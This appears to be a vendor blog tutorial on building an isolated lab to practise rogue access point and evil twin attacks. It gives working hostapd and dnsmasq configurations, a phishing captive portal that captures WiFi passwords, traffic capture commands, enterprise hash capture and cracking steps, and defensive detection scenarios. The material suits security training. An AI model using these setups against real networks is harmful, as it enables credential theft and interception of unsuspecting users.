Building a Rogue AP Lab

Why Build a Rogue AP Lab?

Testing rogue AP and evil twin attacks on real networks - even with permission - carries risk. You might accidentally capture credentials from unintended users, interfere with production services, or trigger security alerts that waste your blue team's time. A dedicated lab eliminates these risks entirely.

A controlled lab environment lets you:

• Practice attacks repeatedly without legal or ethical concerns
• Test both offensive and defensive techniques in the same session
• Break things without consequences
• Develop and test custom captive portal pages
• Understand exactly how clients behave when faced with rogue APs
• Practice for wireless security certifications
• Test hardware tools in a known environment

The lab doesn't need to be expensive. Most of the hardware is inexpensive or things you already own. The software is entirely free and open source.

Lab Architecture Overview

graph TD
    subgraph Isolated["Isolated Lab Network"]
        subgraph Attack["Attack Machine - Kali Linux"]
            A1[WiFi Adapter 1 - Monitor Mode]
            A2[WiFi Adapter 2 - Rogue AP]
            A3[Ethernet - Management]
        end
        subgraph Target["Target AP - Legitimate Network"]
            T1[Router/AP - WPA2-PSK]
            T2[Optional: RADIUS Server]
        end
        subgraph Clients["Test Client Devices"]
            C1[Laptop - Windows]
            C2[Smartphone - Android]
            C3[Smartphone - iOS]
            C4[IoT Device]
        end
        subgraph Monitoring["Monitoring"]
            M1[Wireshark / tcpdump]
            M2[Logging Server]
            M3[Kismet WIDS]
        end
    end
    
    T1 ---|"Legitimate WiFi"| C1
    T1 ---|"Legitimate WiFi"| C2
    A2 ---|"Rogue AP"| C3
    A1 ---|"Monitor/Deauth"| T1
    A3 --- M1
    A3 --- M2
    M3 ---|"Passive Monitor"| T1

A complete rogue AP lab architecture - isolated from production networks with attack, target, client, and monitoring components.

A complete rogue AP lab has four components:

The target network - A legitimate WiFi access point that you control. This is what you'll be impersonating.

The attack machine - A Linux system (typically Kali Linux) running the rogue AP tools. Needs at least two wireless interfaces.

Client devices - Devices that connect to WiFi networks. Having multiple device types (Windows, macOS, Android, iOS) is valuable because they each handle rogue APs differently.

Monitoring infrastructure - Tools to observe what's happening on the wireless medium and the network layer.

Hardware Requirements

Wireless adapters (minimum 2, ideally 3):

You need adapters that support monitor mode, packet injection, and AP mode. Not all consumer WiFi adapters support these features. Recommended chipsets:

• Realtek RTL8812AU - Dual-band (2.4GHz + 5GHz), good Linux support, widely available as Alfa AWUS036ACH
• Atheros AR9271 - Single-band (2.4GHz only) but extremely reliable for injection and AP mode, available as Alfa AWUS036NHA
• Ralink RT5370 - Small, cheap, reliable for 2.4GHz work. Many generic USB adapters use this chipset.

Why multiple adapters? One runs the rogue AP (AP mode), one sends deauthentication frames or monitors traffic (monitor mode), and optionally a third for passive monitoring with Kismet or Wireshark.

Target access point:

Any WiFi router works. A cheap consumer router ($20-30) is fine. You just need something broadcasting an SSID with WPA2 encryption. If you want to practice enterprise attacks, you'll need either a router that supports RADIUS authentication or a separate RADIUS server.

Attack machine:

Any computer running Kali Linux. A laptop is most practical since wireless testing benefits from portability (you can move closer to or farther from the target AP). Even an older laptop works - the processing requirements for running a rogue AP are minimal. Kali can also run in a VM on your main machine, passing through the USB wireless adapters.

Client devices:

Use whatever you have available. An old smartphone and a laptop cover the most common scenarios. Different operating systems handle WiFi security differently:

• Windows tends to auto-connect to known networks and may warn about certificate changes
• Android varies by version and manufacturer - some validate certificates, some don't
• iOS is generally better about certificate validation but still has edge cases
• Linux depends on the network manager and its configuration

Network Isolation

This is the most important part of the lab setup. Your rogue AP lab must be isolated from your home or office network. You don't want rogue AP broadcasts reaching unintended devices, and you don't want deauthentication frames disrupting your household's WiFi.

Physical isolation:

• Reduce the target AP's transmit power to minimum (most routers have this setting)
• Work in a room far from other wireless devices
• Use directional antennas if available to contain the signal
• Test at times when nearby networks have less traffic

Network isolation:

• The target AP should not be connected to the internet or your home network
• Use a standalone router with no WAN connection
• If you need internet access on your attack machine, use a wired connection on a separate interface
• Assign a unique SSID that won't conflict with nearby networks (e.g., "LabNetwork_Test" rather than a common name)

RF shielding (optional but ideal):

For serious lab work, a Faraday bag or shielded enclosure can contain your signals completely. This is overkill for casual practice but useful if you live in an apartment building with many nearby networks.

Setting Up the Legitimate AP

Configure your target router with settings that mimic a real network:

SSID: TestCorpWiFi
Security: WPA2-PSK (AES)
Password: TestPassword123 (you know this - it's your lab)
Channel: 6 (or any fixed channel - avoid auto)
DHCP: Enabled (192.168.1.0/24 range)
Transmit Power: Low/Minimum

Connect your test client devices to this network and verify they work normally. This establishes the baseline - the "before" state that you'll disrupt during testing.

Setting a fixed channel is important. If the legitimate AP uses auto channel selection and hops to a different channel, your rogue AP (on the original channel) becomes more visible to clients. Fix the channel to keep things predictable.

Building the Evil Twin

An evil twin is a rogue AP with the same SSID as the target. The basic components are hostapd (to create the AP) and dnsmasq (to provide DHCP and DNS to connected clients).

hostapd configuration (hostapd.conf):

interface=wlan1
driver=nl80211
ssid=TestCorpWiFi
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=AnythingHere123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

dnsmasq configuration (dnsmasq.conf):

interface=wlan1
dhcp-range=10.0.0.10,10.0.0.50,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
address=/#/10.0.0.1

The address=/#/10.0.0.1 line redirects all DNS queries to your machine - this is what powers the captive portal.

Network setup script:

#!/bin/bash
# Configure the rogue AP interface
ifconfig wlan1 10.0.0.1 netmask 255.255.255.0 up

# Enable IP forwarding (if you want to pass traffic through)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Start dnsmasq
dnsmasq -C dnsmasq.conf -d &

# Start hostapd
hostapd hostapd.conf

With this running, any client that connects to your evil twin will get an IP address from dnsmasq and have all their DNS queries redirected to your machine. From here, you can serve a captive portal, intercept traffic, or simply observe connection behavior.

Creating a Captive Portal

A captive portal is a web page that intercepts client traffic and presents a login form. In a rogue AP scenario, this form captures whatever the user types - typically their WiFi password or corporate credentials.

The simplest approach uses a basic web server (lighttpd, nginx, or Python's built-in HTTP server) serving an HTML form:

# Install lighttpd
sudo apt install lighttpd

# Configure it to listen on the rogue AP interface
# Edit /etc/lighttpd/lighttpd.conf:
# server.bind = "10.0.0.1"
# server.port = 80

Create an HTML page at /var/www/html/index.html:

<html>
<head><title>Network Login Required</title></head>
<body>
  <h2>Your connection has been interrupted</h2>
  <p>Please enter the network password to reconnect.</p>
  <form method="POST" action="/capture">
    <input type="password" name="password" placeholder="WiFi Password">
    <button type="submit">Connect</button>
  </form>
</body>
</html>

The backend that receives the form submission can be a simple CGI script, a PHP page, or a Python server that logs the submitted data. In a lab environment, you'll see exactly how the social engineering component works: the page that convinces users to type their password.

More sophisticated captive portals mimic specific router login pages or corporate WiFi landing pages. Frameworks like the WiFi Pumpkin or airgeddon's evil twin module include pre-built templates for common scenarios.

Remember: in a real assessment, the captive portal's effectiveness depends entirely on how convincing it looks. In your lab, focus on understanding the technical mechanism first, then experiment with different designs to see what makes a portal convincing.

Traffic Capture and Logging

A critical part of the lab is capturing and analyzing the traffic that flows through your rogue AP. This teaches you what an attacker sees and what a defender should look for.

tcpdump for basic packet capture:

# Capture all traffic on the rogue AP interface
sudo tcpdump -i wlan1 -w /tmp/rogueap_capture.pcap

# Capture only HTTP traffic
sudo tcpdump -i wlan1 -w /tmp/http_capture.pcap port 80 or port 443

Wireshark for real-time analysis:

# Launch Wireshark on the rogue AP interface
sudo wireshark -i wlan1 -k

Logging DNS queries (through dnsmasq):

The log-queries option in dnsmasq.conf logs every DNS request from connected clients. This shows you what sites and services each device tries to reach - useful for understanding device behavior.

Credential logging:

Set up your captive portal backend to log all submitted form data with timestamps. For hostapd-wpe (enterprise attacks), captured credentials are logged automatically.

Analyzing this data teaches you important lessons:

• How much unencrypted traffic still exists (you'd be surprised)
• What devices do when they detect a captive portal (most modern OSes check specific URLs)
• How quickly devices auto-reconnect and to which network
• What information leaks through DNS queries even when traffic is encrypted

Adding Enterprise Authentication

To practice enterprise WiFi attacks (hostapd-wpe, certificate manipulation), add a RADIUS server to your lab:

Install FreeRADIUS:

sudo apt install freeradius

Configure test users in /etc/freeradius/3.0/users:

testuser    Cleartext-Password := "TestPass123"
            Reply-Message := "Hello, %{User-Name}"

jsmith      Cleartext-Password := "Summer2026!"
            Reply-Message := "Welcome, John"

Configure your AP to use RADIUS:

Either use a router that supports WPA-Enterprise or configure a second instance of hostapd (the regular version) to act as your legitimate enterprise AP with RADIUS authentication.

Once the legitimate enterprise network is working, you can run hostapd-wpe against it and observe the full attack chain: client connects to rogue AP, sends credentials, and you capture the hash.

This dual setup lets you compare client behavior when connecting to the legitimate AP (with valid certificates) versus the rogue AP (with self-signed certificates). You'll see firsthand how certificate validation - or lack thereof - determines whether the attack succeeds.

Automating Lab Setup

Manually configuring everything each time you want to practice is tedious. Write scripts to automate the setup:

#!/bin/bash
# lab-start.sh - Start the rogue AP lab environment

echo "[*] Starting lab environment..."

# Kill interfering processes
echo "[*] Stopping NetworkManager for wlan1..."
nmcli device set wlan1 managed no

# Set up interfaces
echo "[*] Configuring rogue AP interface..."
ifconfig wlan1 10.0.0.1 netmask 255.255.255.0 up

# Start services
echo "[*] Starting dnsmasq..."
dnsmasq -C /etc/lab/dnsmasq.conf &

echo "[*] Starting web server..."
lighttpd -f /etc/lab/lighttpd.conf &

echo "[*] Starting hostapd..."
hostapd /etc/lab/hostapd.conf &

echo "[*] Starting packet capture..."
tcpdump -i wlan1 -w /tmp/lab_capture_$(date +%Y%m%d_%H%M%S).pcap &

echo "[+] Lab environment is running."
echo "[+] Rogue AP SSID: TestCorpWiFi"
echo "[+] Portal: http://10.0.0.1"
echo "[+] Run lab-stop.sh to tear down."

And a corresponding teardown script:

#!/bin/bash
# lab-stop.sh - Stop the rogue AP lab environment

echo "[*] Tearing down lab environment..."
killall hostapd dnsmasq lighttpd tcpdump 2>/dev/null
ifconfig wlan1 down
nmcli device set wlan1 managed yes
echo "[+] Lab environment stopped."

Store configuration files in a dedicated directory (/etc/lab/ or ~/lab-configs/) so they don't conflict with system defaults.

Practice Scenarios

Once your lab is running, work through these scenarios to build practical skills:

Scenario 1: Basic Evil Twin

Create a rogue AP with the same SSID as your target. Connect a test client to the legitimate AP, then launch the rogue AP with a stronger signal. Observe whether the client roams to the rogue AP. Try with and without deauthentication.

Scenario 2: Captive Portal Credential Capture

Build an evil twin with a captive portal. Connect a client and submit test credentials. Verify the credentials are logged. Experiment with different portal designs to understand what triggers captive portal detection on various devices.

Scenario 3: Enterprise Credential Capture

Set up hostapd-wpe against your RADIUS-enabled test network. Connect a client and capture the MSCHAPv2 hash. Crack it with asleap or hashcat. Then enable certificate validation on the client and verify the attack fails.

Scenario 4: Traffic Analysis

Run your evil twin and connect a client. Browse various websites and use different apps. Analyze the captured traffic in Wireshark to see what information is visible to the rogue AP operator.

Scenario 5: Defense Testing

Run Kismet as a WIDS while your rogue AP is active. See if Kismet detects the rogue AP. Configure client devices with proper certificate validation and verify they reject the rogue enterprise AP. Test 802.11w/PMF to see how it prevents deauthentication attacks.

Each scenario teaches you something different about how rogue AP attacks work and how they can be detected and prevented. Rotate through them regularly, and add new scenarios as you learn new techniques.

For the wireless reconnaissance phase of any scenario, a pocket-sized tool like the BLEShark Nano lets you quickly survey the wireless environment - scanning for networks, identifying channels and clients, and planning your attack approach before firing up the full lab.

Starting your wireless security lab? The BLEShark Nano gives you portable WiFi scanning, network enumeration, and BLE analysis - perfect for the reconnaissance phase of your lab exercises and field assessments alike.